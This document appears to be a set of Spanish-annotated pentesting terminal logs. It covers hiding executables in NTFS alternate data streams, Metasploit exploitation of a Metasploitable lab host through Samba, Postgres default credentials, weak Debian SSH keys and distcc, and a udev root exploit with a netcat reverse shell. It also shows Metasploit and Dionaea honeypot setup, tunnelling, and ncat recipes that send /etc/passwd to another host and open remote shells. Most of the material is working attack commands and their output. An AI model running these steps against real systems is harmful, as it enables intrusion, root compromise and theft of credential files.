>mkdir ADS>cd ADS>echo "Información visible" > f.txt>echo "Información oculta" > f.txt:s1.txt>more < f.txt"Información visible" >more < f.txt:s1.txt"Información oculta" >notepad f.txt:s1.txt>type %systemroot%\system32\calc.exe > f.txt:s2.exe>start .\f.txt:s2.exe>type %systemroot%\media\tada.wav > ..\ADS:tada.wav>start ..\ADS:tada.wav
#msfconsolemsf >nmap -sV -O -p 100-500 192.168.1.50[*] exec: nmap -sV -O -p 100-500 192.168.1.50 Not shown: 399 closed ports PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) MAC Address: 08:00:27:F7:38:97 (Cadmus Computer Systems) Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.9 - 2.6.28 Network Distance: 1 hop msf >search sambamsf >use multi/samba/usermap_scriptmsf exploit(usermap_script) >set rhost 192.168.1.50msf exploit(usermap_script) >set rport 445msf exploit(usermap_script) >set payload cmd/unix/reversemsf exploit(usermap_script) >set lhost 192.168.1.100msf exploit(usermap_script) >exploit[*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo fXQUYEFiaAED6rM4; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "fXQUYEFiaAED6rM4\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.1.100:4444 -> 192.168.1.50:58167)uname -aLinux metasploitable 2.6.24-16-server i686 GNU/Linuxwhoamiroot
#msfconsolemsf >nmap -sV -O -p 22,5432 192.168.1.50[*] exec: nmap -sV -O -p 22,5432 192.168.1.50 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 5432/tcp open postgresql PostgreSQL DB MAC Address: 08:00:27:F7:38:97 (Cadmus Computer Systems) Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.9 - 2.6.28 Network Distance: 1 hop Service Info: OS: Linux msf >search postgresmsf >use scanner/postgres/postgres_loginmsf auxiliary(postgres_login) >set rhosts 192.168.1.50msf auxiliary(postgres_login) >exploit[+] 192.168.1.50:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres' [+] 192.168.1.50:5432 Postgres - Success: postgres:postgres (Database 'template1' succeeded.) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(postgres_login) >psql -h 192.168.1.50 -U postgres -W[*] exec: psql -h 192.168.1.50 -U postgres -W Password for user postgres:create table sshkey (input text);copy sshkey from '/root/.ssh/authorized_keys';select * from sshkey;ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable (1 fila)
#wget http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2#tar xvjf debian_ssh_rsa_2048_x86.tar.bz2#cd rsa/2048#grep -l AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w *.pub57c3115d77c56390332dc5c49978627a-5429.pub #ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@192.168.1.50root@metasploitable:~#uname -aLinux metasploitable 2.6.24-16-server root@metasploitable:~#whoamiroot
#msfconsolemsf >nmap -sV -O -p 1-65535 192.168.1.50[*] exec: nmap -sV -O -p 1-65535 192.168.1.50 Not shown: 65523 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 80/tcp open http 139/tcp open netbios-ssn 445/tcp open netbios-ssn 3306/tcp open mysql 3632/tcp open distccd 5432/tcp open postgresql 8009/tcp open ajp13 8180/tcp open http MAC Address: 08:00:27:F7:38:97 (Cadmus Computer Systems) Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.9 - 2.6.28 Network Distance: 1 hop Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux msf >search distccdmsf >use unix/misc/distcc_execmsf exploit(distcc_exec) >show optionsmsf exploit(distcc_exec) >set rhost 192.168.1.50msf exploit(distcc_exec) >show payloadsmsf exploit(distcc_exec) >set payload cmd/unix/bind_ruby
# nc -vl 1234
msf exploit(distcc_exec) >exploit[*] Started bind handler [*] Command shell session 1 opened (192.168.1.100:56362 -> 192.168.1.50:4444)uname -aLinux metasploitable 2.6.24-16-serverwhoamidaemonwget http://www.exploit-db.com/download/8572 mv index.html cve-2009-1185.c gcc -o cve-2009-1185 cve-2009-1185.c echo "#!/bin/sh\n/bin/netcat -e /bin/sh 192.168.1.100 1234" > /tmp/run ps axuf | grep udev | grep -v greproot 2479 0.0 0.0 2104 708 ? Ss 05:32 0:00 /sbin/udevd --daemon./cve-2009-1185 2478# =2479-1
# nc -vl 1234 Connection from 192.168.1.50 port 1234 [tcp/*] accepteduname -aLinux metasploitable 2.6.24-16-serverwhoamiroot
#Instalación de postgrescat /etc/lsb-release | grep DESCDISTRIB_DESCRIPTION="Ubuntu 10.04.1 LTS" #cd#apt-get install ruby libopenssl-ruby libyaml-ruby \ libdl-ruby libiconv-ruby libreadline-ruby irb ri rubygems#apt-get install subversion#apt-get install build-essential ruby-dev libpcap-dev#mkdir metasploit#cd metasploit#wget http://updates.metasploit.com/data/releases/framework-3.5.1.tar.bz2#tar xvjf framework-3.5.1.tar.bz2#mkdir -p /opt/metasploit3#cp -a msf3/ /opt/metasploit3/msf3#ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/#svn update /opt/metasploit3/msf3/#cd ..#rm -rf metasploit
#Configuración de postgresapt-get install postgresql-8.4#apt-get install rubygems libpq-dev#gem install pg#apt-get install libreadline-dev#apt-get install libssl-dev#apt-get install libpq5#apt-get install ruby-dev
#Configuración de Metasploitsu postgres$createuser msf_user -PEnter password for new role: Enter it again: Shall the new role be a superuser? (y/n)nShall the new role be allowed to create databases? (y/n)nShall the new role be allowed to create more new roles? (y/n)n$createdb --owner=msf_user msf_database
#Habilitar el módulo rack socketscat > ~/.msf3/msfconsole.rc << eof>db_driver postgresql>db_connect msf_user:password@127.0.0.1:5432/msf_database>db_workspace -a MiProyecto>eof
#Habilitar el módulo wificd /opt/metasploit3/msf3/external/pcaprub/#ruby extconf.rb#make && make install
#cd /opt/metasploit3/msf3/external/ruby-lorcon2/#svn co http://802.11ninja.net/svn/lorcon/trunk lorcon2#cd lorcon2#./configure --prefix=/usr && make && make install#cd ..#ruby extconf.rb#make && make install
local#java -jar reDuhClient.jar http://servidor/reDuh.php[Info]Querying remote web page for usable remote service port [Info]Remote RPC port chosen as 42005 [Info]Attempting to start reDuh from servidor:80/reDuh.php. Using service port 42005. Please wait... [Info]reDuhClient service listener started on local port 1010 local#ncat local 1010Welcome to the reDuh command line >>[createTunnel]1234:router:23Successfully bound locally to port 1234. Awaiting connections. >> local#telnet local 1234
local#Ejecución dinámica (SOCKS)ssh -L 1234:router:23 -f -N usuario@servidorlocal#telnet local 1234
local#ssh -D 1080 -f -N usuario@servidorlocal#cat /etc/tsocks.conf | grep -v -e ^# -e ^$server = 127.0.0.1 server_type = 5 server_port = 1080 local#tsocks telnet router 23
opa en local y escucharemos con tcpdump en la máquina remota.
remoto#stdbuf -o0 \ tcpdump -tni eth0 src net 82.81.233.0/24 2> /dev/null \ | awk -W interactive '{print $2,$3,$4}'local#cat opa#!/bin/bash # # NAME # opa - Outbound Port Agent # # SYNOPSIS # ./opa remote_ip from_port to_port [udp_mode] # # EXEMPLE # ./opa 79.159.199.15 1 65535 # ./opa 79.159.199.15 1 1024 -u ip=$1 from=$2 to=$3 udp=$4 counter=0 #echo "Checked ports:" for port in `seq $from $to` do if [ $counter -eq 9 ]; then killall nc 2> /dev/null # echo $port counter=0 else # echo -n "$port, " nc $udp -p $port $ip $port 2> /dev/null & let "counter += 1" fi done killall nc 2> /dev/null local#./opa 79.159.199.15 1 65535
#Configuracióncat /etc/lsb-release | grep DESCDISTRIB_DESCRIPTION="Ubuntu 10.10" #cd# ### Some packages #apt-get install libudns-dev \ libglib2.0-dev \ libssl-dev \ libcurl4-openssl-dev \ libreadline-dev \ libsqlite3-dev \ python-dev \ libtool \ automake \ autoconf \ build-essential \ subversion \ git-core \ flex \ bison \ pkg-config#mkdir /opt/dionaea#mkdir dionaea#cd dionaea# ### liblcfg #git clone git://git.carnivore.it/liblcfg.git liblcfg#cd liblcfg/code#autoreconf -vi#./configure --prefix=/opt/dionaea#make install#cd ..#cd ..# ### libemu #git clone git://git.carnivore.it/libemu.git libemu#cd libemu#autoreconf -vi#./configure --prefix=/opt/dionaea#make install#cd ..# ### libev #wget http://dist.schmorp.de/libev/Attic/libev-3.9.tar.gz#tar xfz libev-3.9.tar.gz#cd libev-3.9#./configure --prefix=/opt/dionaea#make install#cd ..# ### cython #wget http://cython.org/release/Cython-0.12.1.tar.gz#tar xfz Cython-0.12.1.tar.gz#cd Cython-0.12.1#python setup.py build#sudo python setup.py install#cd ..# ### sqlite3 #apt-get install sqlite3# ### python3 #wget http://python.org/ftp/python/3.1.2/Python-3.1.2.tgz#tar xfz Python-3.1.2.tgz#cd Python-3.1.2#./configure --enable-shared \ --prefix=/opt/dionaea \ --with-computed-gotos \ --enable-ipv6 \ LDFLAGS="-Wl,-rpath=/opt/dionaea/lib/"#make#make install#cd ..# ### libxml2 #apt-get install libxml2-dev# ### libxslt #apt-get install libxslt1-dev# ### lxml #wget http://codespeak.net/lxml/lxml-2.2.6.tgz#tar xfz lxml-2.2.6.tgz#cd lxml-2.2.6#/opt/dionaea/bin/2to3 -w src/lxml/html/_diffcommand.py#/opt/dionaea/bin/2to3 -w src/lxml/html/_html5builder.py#/opt/dionaea/bin/python3 setup.py build#/opt/dionaea/bin/python3 setup.py install#cd ..# ### c-ares #wget http://c-ares.haxx.se/c-ares-1.7.3.tar.gz#tar xfz c-ares-1.7.3.tar.gz#cd c-ares-1.7.3#./configure --prefix=/opt/dionaea#make#make install#cd ..# ### curl #wget http://curl.haxx.se/download/curl-7.20.0.tar.bz2#tar xfj curl-7.20.0.tar.bz2#cd curl-7.20.0#./configure --prefix=/opt/dionaea --enable-ares=/opt/dionaea#make#make install#cd ..# ### libpcap #wget http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz#tar xfz libpcap-1.1.1.tar.gz#cd libpcap-1.1.1#./configure --prefix=/opt/dionaea#make#make install#cd ..# ### p0f #apt-get install p0f# ### dionaea #git clone git://git.carnivore.it/dionaea.git dionaea#cd dionaea#autoreconf -vi#./configure --with-lcfg-include=/opt/dionaea/include/ \ --with-lcfg-lib=/opt/dionaea/lib/ \ --with-python=/opt/dionaea/bin/python3.1 \ --with-cython-dir=/usr/local/bin \ --with-udns-include=/opt/dionaea/include/ \ --with-udns-lib=/opt/dionaea/lib/ \ --with-emu-include=/opt/dionaea/include/ \ --with-emu-lib=/opt/dionaea/lib/ \ --with-gc-include=/usr/include/gc \ --with-ev-include=/opt/dionaea/include \ --with-ev-lib=/opt/dionaea/lib \ --with-nl-include=/opt/dionaea/include \ --with-nl-lib=/opt/dionaea/lib/ \ --with-curl-config=/opt/dionaea/bin/ \ --with-pcap-include=/opt/dionaea/include \ --with-pcap-lib=/opt/dionaea/lib/ \ --with-glib=/opt/dionaea#make#make install#cd ..
#Ejecucióncd /opt/dionaea/etc/dionaea#sed -i 's/^\/\/\t\t\t"p0f"/\t\t\t"p0f"/' dionaea.conf
#Visualizacióncd /opt/dionaea/bin/#p0f -i any -u root -Q /tmp/p0f.sock -q -l -d -o /tmp/p0f.log#./dionaea -l all,-debug -L '*' -D
#cd /opt/dionaea/var/dionaea#sqlite3 logsql.sqlitesqlite>select count(local_port), local_port FROM connections where connection_type='accept' group by local_port;9|135 4|445 2|1433 sqlite>.exit
local#Recibir un fichero de un equipo remoto (cifrando)ncat -l 192.168.1.1 1234remoto#ncat --send-only 192.168.1.1 1234 < /etc/passwd
local#Abrir una shell en un equipo remotoncat --ssl -l 192.168.1.1 1234remoto#ncat --ssl --send-only 192.168.1.1 1234 < /etc/passwd
remoto#Recibir una shell de un equipo remotoncat -l 192.168.1.2 1234 -c "bash -i 2>&1"local#ncat 192.168.1.2 1234
local#Redirección de puertos con destino fijoncat -l 192.168.1.1 1234remoto#ncat 192.168.1.1 1234 -c "bash -i 2>&1"
remoto#Redirección de puertos con destino variable (proxy)ncat -l 192.168.1.2 1234 -c "ncat 192.168.1.3 21"local#ncat 192.168.1.2 1234
remoto#Chat entre dos clientes con control de accesoncat -l 192.168.1.2 1234 --proxy-type httplocal#ncat --proxy 192.168.1.2:1234 192.168.1.3 21
servidor#ncat -l 192.168.1.3 1234 --chat -m 2 --allow 192.168.1.0/24remoto#ncat 192.168.1.3 1234local#ncat 192.168.1.3 1234